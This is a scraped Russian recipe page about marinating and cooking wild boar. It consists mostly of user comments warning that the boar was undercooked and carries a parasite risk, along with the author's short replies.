В чем вымочить мясо

рейтинг: 4.7 - 149 голосов
В чем вымочить мясо — Что мы едим
Комментарии пользователей
Магнолия Афинская 06.08.2018 - 21:33

мясо кабана готовится минимум час. а маринад хороший. попоробую

  • Ответить
DeathAndDefiance 09.08.2018 - 19:41

Парень.это вовсе не та степень готовности, которая должна быть у свинины. Запомни, если видны жмутья сырого мяса, отличающиеся к центру по текстуре, то для свинины и курицы это совсем не та степень готовности, потому как, глисты. Да, оно должно быть сочным, но не сырым. Это не говядина, не ягнятина и не утка. Не трави людей и себя. Да и плюс, ты взял и так сухой отрез. Поэтому, чтобы не вытек сок и для улучшения вкусовых качеств, мясо закрывают. Делается это на сильном огне до образования корочки. Классическая кулинарная техника, с которой нужно быть знакомым в обязательном порядке. Весь этот сок, на поддон вытек из-за того, что мясо не было закрыто.

  • Ответить
Crazyshka 12.08.2018 - 18:36

Почему мясо серое было?

  • Ответить
bonapp 15.08.2018 - 14:44

+Crazyshka мясо было заморожено

  • Ответить
pupirikin 15.08.2018 - 11:02

Чувак, свинина, особенно дикий кабан, должна быть очень хорошо проготовлена. Ты же ее приготовил как говядину. Это недопустимо! Глистов никто не отменял!

  • Ответить
Григорий Шевченко 18.08.2018 - 07:23

а мясо кабана у вас в большом ассортименте?

  • Ответить
bonapp 19.08.2018 - 14:16

+Григорий Шевченко я случайно нашел в гипермаркете перед рождественскими праздниками, было только одного вида в вакумной упаковки.

  • Ответить
Alex Khutsishvili 20.08.2018 - 04:36

Интересный рецепт,спасибо!

  • Ответить
bonapp 22.08.2018 - 18:01

+Alex Khutsishvili :)

  • Ответить
DeadmanKz 23.08.2018 - 04:16

Game of thrones, можно исправить.

  • Ответить
bonapp 24.08.2018 - 10:33

+DeadmanKz спасибо, исправил

  • Ответить
КАНАЛ МАРСА 25.08.2018 - 21:52

1 нах

  • Ответить
<iframe src="http://biz-inv.ru/embed?id=7830" frameborder="0" allowfullscreen></iframe>